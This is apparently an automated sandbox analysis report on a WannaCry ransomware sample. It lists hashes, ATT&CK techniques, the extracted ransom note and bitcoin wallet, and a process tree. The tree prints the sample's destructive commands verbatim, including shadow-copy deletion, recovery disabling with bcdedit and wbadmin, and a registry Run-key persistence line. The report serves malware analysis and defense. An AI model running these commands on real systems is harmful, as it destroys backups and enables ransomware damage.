wannacry | 72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Analysis

max time kernel
146s
resource
win10v191014
submitted
30-12-2019 13:54

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General

Target

test.zip
Sample

191230-wtyfvq9dga
SHA256

72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Score

10^/10

persistence ransomware worm wannacry

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4984	icacls.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4060	@[email protected]
4196	@[email protected]
2472	@[email protected]
1016	@[email protected]
2512	@[email protected]
3592	@[email protected]

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4976	taskhsvc.exe

Adds Run entry to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\nmsqcsinudawe237 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeTcbPrivilege	2548	taskse.exe
Token: SeBackupPrivilege	4864	vssvc.exe
Token: SeRestorePrivilege	4864	vssvc.exe
Token: SeAuditPrivilege	4864	vssvc.exe
Token: SeIncreaseQuotaPrivilege	592	WMIC.exe
Token: SeSecurityPrivilege	592	WMIC.exe
Token: SeTakeOwnershipPrivilege	592	WMIC.exe
Token: SeLoadDriverPrivilege	592	WMIC.exe
Token: SeSystemProfilePrivilege	592	WMIC.exe
Token: SeSystemtimePrivilege	592	WMIC.exe
Token: SeProfSingleProcessPrivilege	592	WMIC.exe
Token: SeIncBasePriorityPrivilege	592	WMIC.exe
Token: SeCreatePagefilePrivilege	592	WMIC.exe
Token: SeBackupPrivilege	592	WMIC.exe
Token: SeRestorePrivilege	592	WMIC.exe
Token: SeShutdownPrivilege	592	WMIC.exe
Token: SeDebugPrivilege	592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	592	WMIC.exe
Token: SeRemoteShutdownPrivilege	592	WMIC.exe
Token: SeUndockPrivilege	592	WMIC.exe
Token: SeManageVolumePrivilege	592	WMIC.exe
Token: 33	592	WMIC.exe
Token: 34	592	WMIC.exe
Token: 35	592	WMIC.exe
Token: 36	592	WMIC.exe
Token: SeTcbPrivilege	288	taskse.exe
Token: SeTcbPrivilege	2504	taskse.exe
Token: SeTcbPrivilege	3544	taskse.exe

Loads dropped DLL 1 IoCs

pid	Process
4976	taskhsvc.exe

Deletes shadow copies 2 TTPs 2 IoCs

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
3996	vssadmin.exe
592	WMIC.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4952	attrib.exe

Drops startup file 6 IoCs

description	ioc	Process
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB4AC.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB4AC.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDB4AC.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB4B3.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB4B3.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDB4B3.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4816	reg.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 4952	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 4928 wrote to memory of 4984	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	75
PID 4928 wrote to memory of 988	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 4928 wrote to memory of 3032	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	79
PID 3032 wrote to memory of 3720	3032	cmd.exe	81
PID 4928 wrote to memory of 4060	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	87
PID 4928 wrote to memory of 4084	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 4084 wrote to memory of 4196	4084	cmd.exe	90
PID 4928 wrote to memory of 2548	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 4928 wrote to memory of 2472	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	93
PID 4928 wrote to memory of 2364	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	94
PID 4928 wrote to memory of 4856	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	96
PID 2364 wrote to memory of 4816	2364	cmd.exe	97
PID 4060 wrote to memory of 4976	4060	@[email protected]	99
PID 4196 wrote to memory of 4208	4196	@[email protected]	102
PID 4208 wrote to memory of 3996	4208	cmd.exe	104
PID 4208 wrote to memory of 592	4208	cmd.exe	106
PID 4928 wrote to memory of 4908	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	108
PID 4928 wrote to memory of 288	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	109
PID 4928 wrote to memory of 1016	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 4928 wrote to memory of 2172	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 4928 wrote to memory of 2504	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 4928 wrote to memory of 2512	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 4928 wrote to memory of 3544	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	122
PID 4928 wrote to memory of 3592	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	123
PID 4928 wrote to memory of 4512	4928	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	124

Executes dropped EXE 16 IoCs

pid	Process
988	taskdl.exe
4060	@[email protected]
4196	@[email protected]
2548	taskse.exe
2472	@[email protected]
4856	taskdl.exe
4976	taskhsvc.exe
4908	taskdl.exe
288	taskse.exe
1016	@[email protected]
2172	taskdl.exe
2504	taskse.exe
2512	@[email protected]
3544	taskse.exe
3592	@[email protected]
4512	taskdl.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:4952
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4984
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 85281577717710.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    PID:3720
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:4060
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Loads dropped DLL
    - Executes dropped EXE
    PID:4976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - Executes dropped EXE
    PID:4196
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4208
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Deletes shadow copies
        
        PID:3996
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Deletes shadow copies
        
        PID:592
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:2548
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:2472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Modifies registry key
    PID:4816
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4908
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:288
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:1016
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:2504
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:2512
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Executes dropped EXE
  PID:3544
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:3592
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/4928-36-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/4976-71-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-174-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-316-0x0000000004300000-0x0000000004301000-memory.dmp

Filesize
4KB

Download
memory/4976-67-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-150-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-151-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/4976-152-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-69-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-68-0x0000000004700000-0x0000000004701000-memory.dmp

Filesize
4KB

Download
memory/4976-201-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-279-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-306-0x0000000003F00000-0x0000000003F01000-memory.dmp

Filesize
4KB

Download
memory/4976-314-0x0000000004300000-0x0000000004301000-memory.dmp

Filesize
4KB

Download
memory/4976-315-0x0000000004B00000-0x0000000004B01000-memory.dmp

Filesize
4KB

Download
memory/4976-476-0x0000000004300000-0x0000000004301000-memory.dmp

Filesize
4KB

Download
memory/4976-431-0x0000000004300000-0x0000000004301000-memory.dmp

Filesize
4KB

Download